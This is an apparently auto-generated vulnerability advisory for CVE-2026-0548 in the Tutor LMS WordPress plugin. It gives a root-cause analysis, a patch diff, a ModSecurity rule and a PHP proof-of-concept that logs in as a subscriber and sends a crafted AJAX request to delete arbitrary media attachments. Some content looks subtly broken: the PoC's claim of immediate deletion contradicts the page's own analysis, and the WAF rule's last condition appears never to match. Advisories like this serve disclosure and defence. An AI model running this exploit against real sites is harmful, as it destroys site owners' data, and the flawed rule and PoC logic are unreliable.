Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0548: Tutor LMS – eLearning and online course solution <= 3.9.4 – Missing Authorization to Authenticated (Subscriber+) Limited Attachment Deletion (tutor)

CVE ID CVE-2026-0548
Plugin tutor
Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 3.9.4
Patched Version 3.9.5
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0548:
The vulnerability is a missing authorization flaw in the Tutor LMS WordPress plugin, allowing authenticated users with subscriber-level access or higher to delete arbitrary site attachments. The issue resides in the user profile photo update functionality, specifically within the `update_user_profile` method in the `User` class.

Root Cause: The vulnerability exists in the `update_user_profile` method within `/tutor/classes/User.php`. The method processes user-submitted profile data, including a `_tutor_profile_photo` field containing an attachment ID. Prior to the patch, the method directly passed this ID to `update_user_meta` on line 373 without verifying the requesting user’s ownership of the referenced attachment. The subsequent call to `delete_existing_user_photo` on line 245 would then delete the attachment referenced by the old user meta value without any capability check, relying solely on the user ID stored in the meta key.

Exploitation: An authenticated attacker (Subscriber+) can send a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `tutor_update_profile`. The request must include the `_tutor_profile_photo` parameter containing the numeric ID of any attachment on the site. Submitting this request triggers the `update_user_profile` method, which updates the attacker’s profile photo meta to the target attachment ID and deletes the attachment previously linked to their profile (if any). The `delete_existing_user_photo` function executes `wp_delete_attachment` on the old ID, permanently deleting the file from the server.

Patch Analysis: The patch adds an authorization check within the `update_user_profile` method in `/tutor/classes/User.php`. Before updating the user meta on lines 375-383, the code now validates the submitted `$_tutor_profile_image` value. If the value is numeric, it fetches the corresponding post object. If the post type is ‘attachment’ and the post author does not match the current user ID (`$user_id`), the function returns early without updating the meta or triggering the deletion routine. This prevents users from associating attachments they do not own with their profile, thereby blocking the unauthorized deletion chain.

Impact: Successful exploitation allows an authenticated attacker with minimal privileges to permanently delete any media library attachment, potentially disrupting site content, functionality, or design. This constitutes an integrity attack leading to data loss. The CVSS score of 5.4 reflects the requirement for authentication and the attack’s limited scope to attachment deletion, not full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/tutor/classes/Quiz.php
+++ b/tutor/classes/Quiz.php
@@ -283,9 +283,9 @@
 		$attempt_details = self::attempt_details( Input::post( 'attempt_id', 0, Input::TYPE_INT ) );
 		$feedback        = Input::post( 'feedback', '', Input::TYPE_KSES_POST );
 		$attempt_info    = isset( $attempt_details->attempt_info ) ? $attempt_details->attempt_info : false;
-		$course_id       = tutor_utils()->avalue_dot( 'course_id', $attempt_info, 0 );
-
-		if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+		$course_id       = tutor_utils()->avalue_dot( 'course_id', $attempt_details, 0 );
+		$is_instructor   = tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id );
+		if ( ! current_user_can( 'manage_options' ) && ! $is_instructor ) {
 			wp_send_json_error( tutor_utils()->error_message() );
 		}

--- a/tutor/classes/User.php
+++ b/tutor/classes/User.php
@@ -245,7 +245,9 @@
 	private function delete_existing_user_photo( $user_id, $type ) {
 		$meta_key = 'cover_photo' == $type ? '_tutor_cover_photo' : '_tutor_profile_photo';
 		$photo_id = get_user_meta( $user_id, $meta_key, true );
-		is_numeric( $photo_id ) ? wp_delete_attachment( $photo_id, true ) : 0;
+		if ( is_numeric( $photo_id ) ) {
+			wp_delete_attachment( $photo_id, true );
+		}
 		delete_user_meta( $user_id, $meta_key );
 	}

@@ -281,7 +283,7 @@
 		/**
 		 * Photo Update from profile
 		 */
-		$photo      = tutor_utils()->array_get( 'photo_file', $_FILES );
+		$photo      = tutor_utils()->array_get( 'photo_file', $_FILES ); //phpcs:ignore -- already sanitized.
 		$photo_size = tutor_utils()->array_get( 'size', $photo );
 		$photo_type = tutor_utils()->array_get( 'type', $photo );

@@ -373,6 +375,14 @@
 		$_tutor_profile_bio       = Input::post( self::PROFILE_BIO_META, '', Input::TYPE_KSES_POST );
 		$_tutor_profile_image     = Input::post( self::PROFILE_PHOTO_META, '', Input::TYPE_KSES_POST );

+		if ( is_numeric( $_tutor_profile_image ) ) {
+			$attachment = get_post( $_tutor_profile_image );
+
+			if ( 'attachment' === $attachment->post_type && $user_id !== $attachment->post_author ) {
+				return;
+			}
+		}
+
 		update_user_meta( $user_id, self::PROFILE_JOB_TITLE_META, $_tutor_profile_job_title );
 		update_user_meta( $user_id, self::PROFILE_BIO_META, $_tutor_profile_bio );
 		update_user_meta( $user_id, self::PROFILE_PHOTO_META, $_tutor_profile_image );
--- a/tutor/classes/Utils.php
+++ b/tutor/classes/Utils.php
@@ -4066,11 +4066,13 @@
 				WHERE	comments.comment_post_ID = %d
 						AND comments.comment_type = %s
 						AND commentmeta.meta_key = %s
+						AND comments.comment_approved = %s
 				GROUP BY CAST(commentmeta.meta_value AS SIGNED);
 				",
 					$course_id,
 					'tutor_course_rating',
-					'tutor_rating'
+					'tutor_rating',
+					'approved'
 				)
 			);

--- a/tutor/models/CartModel.php
+++ b/tutor/models/CartModel.php
@@ -73,13 +73,19 @@
 			);
 		}

+		if ( 'gift' === $item_type ) {
+			$item_details = wp_json_encode( $item_details, JSON_UNESCAPED_UNICODE );
+		} else {
+			$item_details = wp_json_encode( $item_details );
+		}
+
 		return QueryHelper::insert(
 			"{$wpdb->prefix}tutor_cart_items",
 			array(
 				'cart_id'      => $user_cart_id,
 				'course_id'    => $course_id,
 				'item_type'    => $item_type,
-				'item_details' => $item_details ? wp_json_encode( $item_details ) : null,
+				'item_details' => $item_details,
 			)
 		);
 	}
@@ -261,5 +267,4 @@
 			)
 		);
 	}
-
 }
--- a/tutor/templates/single/course/reviews.php
+++ b/tutor/templates/single/course/reviews.php
@@ -25,7 +25,7 @@
 $current_user_id = get_current_user_id();
 $course_id       = Input::post( 'course_id', get_the_ID(), Input::TYPE_INT );
 $reviews         = tutor_utils()->get_course_reviews( $course_id, $offset, $per_page, false, array( 'approved' ), $current_user_id );
-$reviews_total   = tutor_utils()->get_course_reviews( $course_id, null, null, true, array( 'approved' ), $current_user_id );
+$reviews_total   = tutor_utils()->get_course_reviews( $course_id, null, null, true, array( 'approved' ) );
 $my_rating       = tutor_utils()->get_reviews_by_user( 0, 0, 150, false, $course_id, array( 'approved', 'hold' ) );

 if ( Input::has( 'course_id' ) ) {
--- a/tutor/tutor.php
+++ b/tutor/tutor.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tutorlms.com
  * Description: Tutor is a complete solution for creating a Learning Management System in WordPress way. It can help you to create small to large scale online education site very conveniently. Power features like report, certificate, course preview, private file sharing make Tutor a robust plugin for any educational institutes.
  * Author: Themeum
- * Version: 3.9.4
+ * Version: 3.9.5
  * Author URI: https://themeum.com
  * Requires PHP: 7.4
  * Requires at least: 5.3
@@ -26,7 +26,7 @@
  *
  * @since 1.0.0
  */
-define( 'TUTOR_VERSION', '3.9.4' );
+define( 'TUTOR_VERSION', '3.9.5' );
 define( 'TUTOR_FILE', __FILE__ );

 /**
--- a/tutor/vendor/composer/installed.php
+++ b/tutor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'themeum/tutor',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
+        'reference' => 'ad35941bc49eab600939a865a136e4a05cf217f8',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'themeum/tutor' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
+            'reference' => 'ad35941bc49eab600939a865a136e4a05cf217f8',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tutor/views/pages/view_attempt.php
+++ b/tutor/views/pages/view_attempt.php
@@ -16,12 +16,13 @@
 use TUTORInput;
 use TutorModelsQuizModel;

-$attempt_id   = Input::get( 'view_quiz_attempt_id', 0, Input::TYPE_INT );
-$attempt      = tutor_utils()->get_attempt( $attempt_id );
-$attempt_data = $attempt;
-$user_id      = tutor_utils()->avalue_dot( 'user_id', $attempt_data );
-$quiz_id      = $attempt && isset( $attempt->quiz_id ) ? $attempt->quiz_id : 0;
-$course_id    = tutor_utils()->avalue_dot( 'course_id', $attempt_data );
+$attempt_id    = Input::get( 'view_quiz_attempt_id', 0, Input::TYPE_INT );
+$attempt       = tutor_utils()->get_attempt( $attempt_id );
+$attempt_data  = $attempt;
+$user_id       = tutor_utils()->avalue_dot( 'user_id', $attempt_data );
+$quiz_id       = $attempt && isset( $attempt->quiz_id ) ? $attempt->quiz_id : 0;
+$course_id     = tutor_utils()->avalue_dot( 'course_id', $attempt_data );
+$is_instructor = tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id );
 if ( ! $attempt ) {
 	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
 	return;
@@ -31,8 +32,8 @@
 	return;
 }

-if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
-	tutor_utils()->tutor_empty_state();
+if ( ! current_user_can( 'manage_options' ) && ! $is_instructor ) {
+	tutor_utils()->tutor_empty_state( __( 'Access denied!', 'tutor' ) );
 	return;
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-0548
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1000548,phase:2,deny,status:403,chain,msg:'CVE-2026-0548: Block unauthorized attachment deletion via Tutor LMS profile update',severity:'CRITICAL',tag:'CVE-2026-0548',tag:'WordPress',tag:'Plugin/TutorLMS'"
  SecRule ARGS_POST:action "@streq tutor_update_profile" "chain"
    SecRule &ARGS_POST:_tutor_profile_photo "@gt 0" "chain"
      SecRule ARGS_POST:_tutor_profile_photo "@rx ^[0-9]+$" "chain"
        SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "!@rx ^.*$" 
          "setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.cve_2026_0548_block=1'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0548 - Tutor LMS – eLearning and online course solution <= 3.9.4 - Missing Authorization to Authenticated (Subscriber+) Limited Attachment Deletion
<?php

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$username   = 'attacker_subscriber';
$password   = 'attacker_password';
$attachment_id_to_delete = 123; // ID of the target attachment

// Initialize cURL session for login
$ch = curl_init();

// Step 1: Authenticate and obtain WordPress cookies
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Adjust for HTTPS

$response = curl_exec($ch);

// Step 2: Send malicious AJAX request to trigger profile update and attachment deletion
// This assumes the attacker's current profile photo meta value is empty or points to a disposable attachment.
$ajax_fields = [
    'action' => 'tutor_update_profile',
    '_tutor_profile_photo' => $attachment_id_to_delete, // Set profile photo to target attachment
    // Other required profile fields (example values)
    '_tutor_profile_job_title' => 'Hacker',
    '_tutor_profile_bio' => 'Atomic Edge Research'
];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_fields));

$response = curl_exec($ch);
curl_close($ch);

// Check response
if (strpos($response, 'success') !== false) {
    echo "[+] Request sent. The attachment with ID $attachment_id_to_delete should be deleted.n";
} else {
    echo "[-] Attack may have failed. Response: $responsen";
}

?>

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